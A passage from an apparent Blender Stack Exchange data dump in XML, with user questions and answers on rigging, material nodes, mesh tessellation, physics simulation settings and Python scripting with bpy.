file&lt;/a&gt;. All help is very much appreciated, but remember I'm a complete noob to rigging!&lt;/p&gt;&#xA;" OwnerUserId="14048" LastActivityDate="2015-04-28T16:40:51.350" Title="Annoying rig parenting issue" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29098" PostTypeId="2" ParentId="29096" CreationDate="2015-04-28T16:40:51.350" Score="1" Body="&lt;p&gt;The Child Of constraint on the gun is targeting the mesh and a vertex group of that mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want the target to be: Left Armature.001 (pls from now on name your stuff)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the Bone sub-target: thumb.01.L&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Set Inverse and position the gun where you need it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will stay 'glued' to the bone.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-28T16:40:51.350" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29099" PostTypeId="1" AcceptedAnswerId="29102" CreationDate="2015-04-28T16:49:43.063" Score="4" ViewCount="8563" Body="&lt;p&gt;&lt;br&gt;&#xA;Yesterday I was following a couch making tutorial and when I clicked on &quot;Use Nodes&quot; in the Node Editor there was a node called &quot;Material Output&quot;. Today I am trying to achieve the same thing with a sphere, but no &quot;Material Output&quot; node pops up just some &quot;Output&quot; node. &lt;br&gt; Thanks in advance! &lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/dhmZX.jpg&quot; alt=&quot;No Material Output&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kTvOv.jpg&quot; alt=&quot;There is a Material Output node&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14053" LastEditorUserId="241" LastEditDate="2015-04-28T17:12:23.393" LastActivityDate="2015-04-28T17:12:23.393" Title="How to add a material output node?" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29100" PostTypeId="2" ParentId="29083" CreationDate="2015-04-28T16:57:19.087" Score="1" Body="&lt;p&gt;You need the position for only loose bones. Instead of creating matrices assign the data where it belongs.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;if bpy.context.active_object.mode != 'POSE':&#xA;    bpy.ops.object.mode_set('POSE')&#xA;&#xA;pbones = bpy.context.active_object.pose.bones&#xA;&#xA;pbones['Spine'].location = m['position']&#xA;pbones['Spine'].scale = m['scale']&#xA;&#xA;# I think your rotations are in quaternions, they are 4D&#xA;pbones['Spine'].rotation_quaternion = m['rotation']&#xA;&#xA;# If not and you only use the first 3 values then:&#xA;#pbones['Spine'].rotation_mode = 'XYZ'&#xA;#pbones['Spine'].rotation_euler = m['rotation'][:3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can sure do this also by building the matrices, but check what your rotation data is in. You are building the rot_mat from Euler but I suspect your data being as quaternions.&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-04-28T16:57:19.087" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29102" PostTypeId="2" ParentId="29099" CreationDate="2015-04-28T17:10:40.617" Score="4" Body="&lt;p&gt;You need to switch the render engine you are using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cpyCs.jpg&quot; alt=&quot;Change Render Engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nodes are very different between Cycles and Blender Intrenal materials, so you will notice a lot of incompatibilities if you are in the wrong one.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-04-28T17:10:40.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29103" PostTypeId="1" CreationDate="2015-04-28T17:54:28.900" Score="-2" ViewCount="431" Body="&lt;p&gt;How can I activate control of view with middle button (wheel)? Middle button (scroll wheel) on mouse zooms only. Depressing wheel brings Dashboard (OSX 10.6), not control of view? &lt;/p&gt;&#xA;" OwnerUserId="14056" LastEditorUserId="599" LastEditDate="2015-04-28T19:36:48.347" LastActivityDate="2015-04-28T20:03:48.213" Title="Middle Mouse Button View control" Tags="&lt;interface&gt;&lt;3d-view&gt;&lt;osx&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29104" PostTypeId="1" CreationDate="2015-04-28T18:14:51.223" Score="2" ViewCount="745" Body="&lt;p&gt;Please forgive me if this is 'off topic,' the actual &lt;a href=&quot;https://blender.stackexchange.com/help/on-topic&quot;&gt;&lt;strong&gt;&quot;What topics can I ask about here?&quot;&lt;/strong&gt;&lt;/a&gt; page is void of any useful guidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm new to Blender and started trying to make a model that is more complex than a simple object. Take any normal model, for example a car. Is it normal to make a car in one file that consists of a bunch of different non-connected meshes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most tutorials I have found make one giant connected object that is (in some way) connected to every part of the whole model. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mind wants to separate the parts, like the wheels wouldn't be 'connected' to the body. I feel like this would make texturing and UV mapping easier, but nobody seems to do this. Texturing different parts of a single giant mesh is challenging for me and I wanted to know if it is bad practice to create lots of 'pieces' to a single model.&lt;/p&gt;&#xA;" OwnerUserId="1506" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2015-04-28T18:14:51.223" Title="Best practice for creating complex models. Multiple meshes and textures?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2015-04-28T23:33:35.583" ContentLicense="CC BY-SA 3.0" />
  <row Id="29105" PostTypeId="1" CreationDate="2015-04-28T18:27:53.733" Score="1" ViewCount="399" Body="&lt;p&gt;Working in Blender 2.73 I have created a fountain and assigned it as a fluid obstacle with a 0.054 partial slip and an impact factor of 1.  Why when the fluid interacts with the obstacle, it creates a mushroom type effect and will not lie flat on the surface and run over the edges?  Similarly, in the pooling section of the obstacle why does the fluid create a curl and not roll over the edge?  I have tried multiple settings and resolution adjustments.  Attached is a screenshot of the domain settings. Any help would be greatly appreciated.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Il4yJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14057" LastEditorUserId="14057" LastEditDate="2015-04-28T18:33:31.183" LastActivityDate="2015-04-28T18:33:31.183" Title="Fluid will not lie flat on obstacle" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29106" PostTypeId="1" AcceptedAnswerId="29109" CreationDate="2015-04-28T19:44:24.570" Score="11" ViewCount="8162" Body="&lt;p&gt;So I'm looking for an easy way to tessellate a plane in blender, where the centre of the plane has a lot of detail (tris/quads) while the edges have very little with detail being interpolated in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this solely in blender or will I have to write a script to implement it?&lt;/p&gt;&#xA;" OwnerUserId="3295" LastActivityDate="2015-06-04T02:22:38.587" Title="Tesselate a plane" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29108" PostTypeId="2" ParentId="29103" CreationDate="2015-04-28T20:03:48.213" Score="3" Body="&lt;p&gt;You have to disable the shortcut for the dashboard in your system settings.&#xA;To do so, open your settings, go to keyboard, shortcuts, mission control. &#xA;There you will find a shortcut for dashboard, which you then have to change to something else, so OS X isn't faster than blender using this shortcut.&lt;/p&gt;&#xA;" OwnerUserId="14058" LastActivityDate="2015-04-28T20:03:48.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29109" PostTypeId="2" ParentId="29106" CreationDate="2015-04-28T20:24:58.083" Score="18" Body="&lt;p&gt;&lt;strong&gt;You can do that with decimate modifier using vertex group.&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a plane, switch to Edit Mode and hit &lt;kbd&gt;W&lt;/kbd&gt; button, then from the menu select Subdivide and in operator panel change number of subdivision to 100.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/blUrs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to Weight Paint Mode, select &lt;strong&gt;Weight Gradient&lt;/strong&gt; and start painting from the center out in one stroke. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubO0e.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in Weight Gradient operator panel or by using &lt;kbd&gt;F6&lt;/kbd&gt; button change Type to &lt;strong&gt;Radial.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/viREF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch back to edit mode, add Decimate Modifier and in Vertex Group name select group that was created by the weight paint. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/negFt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then change the parameters of the modifier to get desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJUkA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-04T02:22:38.587" LastActivityDate="2015-06-04T02:22:38.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29110" PostTypeId="1" CreationDate="2015-04-28T21:00:09.463" Score="1" ViewCount="62" Body="&lt;p&gt;I've created a slider like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Scene.slider_value = bpy.props.FloatProperty(&#xA;    default= 0,&#xA;    min = -100,&#xA;    max =  100, &#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In some case I need to go out over the previous  min and max values.&#xA;It is possible to simply redefine the Float Property ?&lt;/p&gt;&#xA;" OwnerUserId="6426" LastEditorUserId="241" LastEditDate="2015-04-28T21:01:30.630" LastActivityDate="2015-04-28T21:01:30.630" Title="How to redefine an Float Property after create it?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-04-29T02:50:46.500" ContentLicense="CC BY-SA 3.0" />
  <row Id="29111" PostTypeId="1" CreationDate="2015-04-28T21:31:43.667" Score="7" ViewCount="1632" Body="&lt;p&gt;Is there an easy way to, while keeping all of the physics settings the same, turn off the physics processing? Essentially, I have a huge scene with a ton of physics and I'm not ready to bake it yet but with all of these simulations going at the same time, workflow has slowed to a crawl. I want to tell blender to just process the simulation I'm currently working on but without it messing up my other physics! Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="599" LastEditDate="2015-04-28T21:51:59.823" LastActivityDate="2015-04-28T21:51:59.823" Title="Turn physics proccesses off and on?" Tags="&lt;workflow&gt;&lt;physics&gt;&lt;performance&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29112" PostTypeId="2" ParentId="29111" CreationDate="2015-04-28T21:51:43.007" Score="2" Body="&lt;p&gt;Yes, click the eye icon in the physics panel or the modifiers panel to disable the simulation in the viewport:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3HAkF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the camera icon disables the simulation in the render.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-04-28T21:51:43.007" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29113" PostTypeId="1" CreationDate="2015-04-28T23:57:12.150" Score="2" ViewCount="122" Body="&lt;p&gt;I saw the gravity demo video by @GoranMilovanovic and it was pretty cool. Unfortunately, it didn't help with my specific situation for two reasons.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm mainly trying to do my game with just logic bricks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;my &quot;planet&quot; is a torus, not a sphere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I need a workflow that will allow me to have an object always point toward the nearest portion of the torus (may need some code for that one), and then fall toward it. Unfortunately, linear velocity doesn't seem to be working, and neither does track to. is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/207/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=207&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-04-29T03:40:47.340" Title="Directional gravity for irregular shapes" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;workflow&gt;&lt;physics&gt;&lt;logic-bricks&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29114" PostTypeId="1" AcceptedAnswerId="29115" CreationDate="2015-04-29T01:27:11.557" Score="12" ViewCount="3263" Body="&lt;p&gt;How can you make a bunch of objects explode? I don't mean fracture, I just mean shoot off in random directions. I want to know how to do this for a rigid body simulation. So how can this be accomplished?&lt;/p&gt;&#xA;" OwnerUserId="10911" LastEditorUserId="2217" LastEditDate="2015-04-29T02:05:07.963" LastActivityDate="2015-04-29T02:05:07.963" Title="How do you make a cluster of cubes explode?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;&lt;force-fields&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29115" PostTypeId="2" ParentId="29114" CreationDate="2015-04-29T01:44:55.180" Score="15" Body="&lt;ol&gt;&#xA;&lt;li&gt;Add Active Rigid Body Physics to your cubes.&lt;br&gt;&#xA;(I created the cubes with 3 array modifiers applied, then separated &lt;em&gt;By Loose Parts&lt;/em&gt;, and finally moved the origins to the geometry.)&lt;/li&gt;&#xA;&lt;li&gt;Add a force field in the middle of the stack of the cubes.&lt;/li&gt;&#xA;&lt;li&gt;Increase the strength of the force field.&lt;/li&gt;&#xA;&lt;li&gt;Press play or &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; and watch the explosion.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Quick gif showing the whole process.&lt;br&gt;&#xA;&lt;img src=&quot;https://fat.gfycat.com/JealousImperfectInganue.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/r2zCf.gif&quot; alt=&quot;animated gif&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:46.363" LastActivityDate="2015-04-29T02:02:10.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29116" PostTypeId="1" AcceptedAnswerId="29117" CreationDate="2015-04-29T02:24:17.350" Score="5" ViewCount="1113" Body="&lt;p&gt;For example, in this model is there any way to make this all quads?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lfmjy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="12" LastEditDate="2015-04-29T15:21:45.560" LastActivityDate="2015-04-29T15:21:45.560" Title="Is it possible to get rid of n-gons/poles when using face loops?" Tags="&lt;topology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29117" PostTypeId="2" ParentId="29116" CreationDate="2015-04-29T02:46:02.287" Score="7" Body="&lt;p&gt;You can use a knife tool using &lt;kbd&gt;K&lt;/kbd&gt; button in Edit Mode, then position the knife cursor over the vertices, when the knife tool snaps to the vertices you will see the knife icon green square outlined with red color, then left click with the mouse and continue cutting like in the image below. When youre finished cutting hit &lt;kbd&gt;Enter&lt;/kbd&gt; button to apply. You can use &lt;kbd&gt;E&lt;/kbd&gt; button while cutting to continue cuts in different locations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/f1Igd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-04-29T03:19:05.360" LastActivityDate="2015-04-29T03:19:05.360" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29118" PostTypeId="1" CreationDate="2015-04-29T04:55:19.183" Score="2" ViewCount="1059" Body="&lt;p&gt;I am exporting a model with two separate mesh objects, plus its armature to which it is rigged using Rigify. In addition, I have separate animation &quot;clips&quot; saved as Actions for the purpose of bringing them into Unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unity import issues aside, I am having a strange problem where the rig is being translated to (0,-0.23194,0) upon completing the export. Furthermore, the rig's location is locked on all axes in the property bar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am guessing there is some animation data somewhere causing this, but after going through each action I couldn't find any unusual translations for the rig's root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something else I may be missing here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference, I have attached an image of my FBX export settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/neypn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance,&#xA;Matt&lt;/p&gt;&#xA;" OwnerUserId="13733" LastActivityDate="2015-04-29T21:58:29.743" Title="Why is Blender moving objects with locked locations on the Y axis after exporting to FBX?" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29119" PostTypeId="1" AcceptedAnswerId="29120" CreationDate="2015-04-29T05:21:58.027" Score="31" ViewCount="25426" Body="&lt;p&gt;I'd like to grab multiple faces and move each one along its normal. Is there a grab individual command?&lt;/p&gt;&#xA;" OwnerUserId="14019" LastEditorUserId="-1" LastEditDate="2019-01-10T20:06:34.303" LastActivityDate="2020-12-30T20:09:23.607" Title="How to move multiple faces along their individual normals?" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="29120" PostTypeId="2" ParentId="29119" CreationDate="2015-04-29T05:27:36.750" Score="41" Body="&lt;p&gt;Set Transform Orientation to Normal (&lt;kbd&gt;,&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt;) and Pivot Point to Individual Origins, then hit &lt;kbd&gt;G&lt;/kbd&gt; and then &lt;kbd&gt;Z&lt;/kbd&gt; button twice to move along normal.&lt;/p&gt;&#xA;&lt;p&gt;Using &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt; shortcut will do the same for individual faces, but will scale faces that are connected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0kCoc.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8OstG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2020-12-30T20:09:23.607" LastActivityDate="2020-12-30T20:09:23.607" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="29122" PostTypeId="1" AcceptedAnswerId="29148" CreationDate="2015-04-29T09:47:12.190" Score="4" ViewCount="2382" Body="&lt;p&gt;I have automated the task of parenting in Blender with Python.&#xA;The code affects the relation parent according to the two last characters of the names of the objects.&#xA;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj1.name = Cube.01&#xA;obj2.name = Suzanne.01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;obj1&lt;/code&gt; is in the group &quot;children&quot; and &lt;code&gt;obj2&lt;/code&gt; is not in the group &quot;children&quot; : &lt;code&gt;obj2&lt;/code&gt; is the parent of &lt;code&gt;obj1&lt;/code&gt;.&#xA;My code works, but without keeping children's transformation.&#xA;How can I do to keep the children's transformation?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;for obj1 in bpy.context.selected_objects:    &#xA;    if obj1.name in  bpy.data.groups[&quot;Children&quot;].objects:&#xA;    a = obj1.name[-2:]&#xA;&#xA;    for obj2 in bpy.context.selected_objects:&#xA;            if obj2.name not in  bpy.data.groups[&quot;Children&quot;].objects:&#xA;                b = obj2.name[-2:]&#xA;                if a == b:                       &#xA;                   obj1.parent= obj2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9525" LastEditorUserId="241" LastEditDate="2015-04-29T11:46:29.467" LastActivityDate="2015-04-29T23:03:35.250" Title="Python automate Assign parent relation and keep transform" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29123" PostTypeId="1" AcceptedAnswerId="29126" CreationDate="2015-04-29T11:21:35.057" Score="5" ViewCount="1508" Body="&lt;p&gt;I am trying to save a packed image (generated via texture painting). To do this, I call &lt;code&gt;unpack()&lt;/code&gt;, which should save the image, but I can't find it on my hard drive (Linux, blender 2.73). Does there exist a way for further customization (such as setting the image file format, file name, directory to save into, ..)?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2015-04-29T14:14:39.980" Title="How to save a packed image from a script" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29124" PostTypeId="2" ParentId="8576" CreationDate="2015-04-29T11:30:08.880" Score="1" Body="&lt;p&gt;The message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;search for unknown operator &quot;NAME_TYPE_shortname&quot;, &quot;NAME_TYPE_shortname&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;could come from the user preferences keyboard shortcuts manager. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Registering an incorrectly spelled operator path will give that message. &lt;/li&gt;&#xA;&lt;li&gt;Adding the shortcut in your script before the operator is registered will give that error too.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Maybe this is a typo but your&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class updateList(bpy.types.Operator):&#xA;    bl_idname = &quot;myplug.update_list&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would mean that the operator is located at &lt;code&gt;bpy.ops.myplug.update_list()&lt;/code&gt;, not &lt;code&gt;bpy.ops.myplugin.*&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no inherent reason that operators can't be called within other operators, but you will have to wait for the called operator to complete before the calling operator can end, it doesn't fork off into its own thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for instance&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class login(bpy.types.Operator):&#xA;    bl_idname = &quot;myplug.login&quot;&#xA;    bl_label = &quot;Login&quot;&#xA;&#xA;    def execute(self,context):&#xA;        ...&#xA;&#xA;        # bpy.ops.myplug.update_list()  # should be.  &#xA;        bpy.ops.myplugin.update_list()&#xA;&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;class updateList(bpy.types.Operator):&#xA;    bl_idname = &quot;myplug.update_list&quot;&#xA;    bl_label = &quot;UpdateList&quot;&#xA;&#xA;    def execute(self,context):&#xA;        print('caramba!')&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;&#xA;if __name__ == '__main__':&#xA;    register()&#xA;    bpy.ops.myplug.login()&#xA;&#xA;&#xA;# AttributeError: Calling operator &quot;bpy.ops.myplugin.update_list&quot; error, could not be found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you are calling a set of operators in sequence, then of course you must  ensure that the operators are registered globally. If i'm not mistaken the &lt;code&gt;bpy.utils.register_module(__name__)&lt;/code&gt; will register classes in order of appearance in the file, use that order to your advantage.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-04-29T12:56:44.143" LastActivityDate="2015-04-29T12:56:44.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29125" PostTypeId="1" AcceptedAnswerId="29154" CreationDate="2015-04-29T13:22:33.370" Score="2" ViewCount="590" Body="&lt;p&gt;how is it possible to get all vertices of an object (say a cube) and then randomly change their location? What I want to do is everytime I hit space, the cube alters and generate random shapes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have figured out myself so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;import random&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;&#xA;# get the 1st mesh&#xA;mesh = own.meshes[0]&#xA;&#xA;# get the first vertex of the first mesh&#xA;vert  = mesh.getVertex( 0, 0)&#xA;&#xA;# get the position&#xA;pos = vert.getXYZ()&#xA;&#xA;# set the position&#xA;vert.setXYZ([ 10, 1.0, 15])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How does&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getVertex(matid, index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;exactely work? It only gets me one vertex, how can I get one after another? And then alter their position?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any hint!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATED Script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for mesh in object.meshes:&#xA;   for m_index in range(len(mesh.materials)):&#xA;      for v_index in range(mesh.getVertexArrayLength(m_index)):&#xA;&#xA;         vertex = mesh.getVertex(m_index, 0)&#xA;         vertex.setXYZ([ loc0])&#xA;         vertex = mesh.getVertex(m_index, 1)&#xA;         vertex.setXYZ([ loc1])&#xA;         vertex = mesh.getVertex(m_index, 2)&#xA;         vertex.setXYZ([ loc2])&#xA;         etc.&#xA;         etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9529" LastEditorUserId="9529" LastEditDate="2015-04-30T09:20:37.503" LastActivityDate="2015-04-30T09:20:37.503" Title="BGE: altering a cube's shape in realtime (python)" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29126" PostTypeId="2" ParentId="29123" CreationDate="2015-04-29T13:45:20.797" Score="4" Body="&lt;p&gt;The docs reference &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.ops.image.html?highlight=unpack#bpy.ops.image.unpack&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;unpack&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given an image with the super descriptive name 'Untitled':&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fv8C8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.ops.image.unpack(id='Untitled')&#xA;Warning: AutoPack is enabled, so image will be packed again on file save&#xA;Info: Saved packed file to: /home/zeffii/Downloads/textures/dances_packed.png&#xA;&#xA;{'FINISHED'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you look in console you'll see where it saved to. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is possible for certain to use plain old &lt;code&gt;.save()&lt;/code&gt; too. Opening a .blend where the image is packed I did&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.images['Untitled'].filepath = '/home/zeffii/Desktop/some_name.png'&#xA;bpy.data.images['Untitled'].save()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it stored straight to desktop&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I don't know&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to save as a different file type, and how to force a different save directory for the unpack command.&lt;/p&gt;&#xA;" OwnerUserId="47" 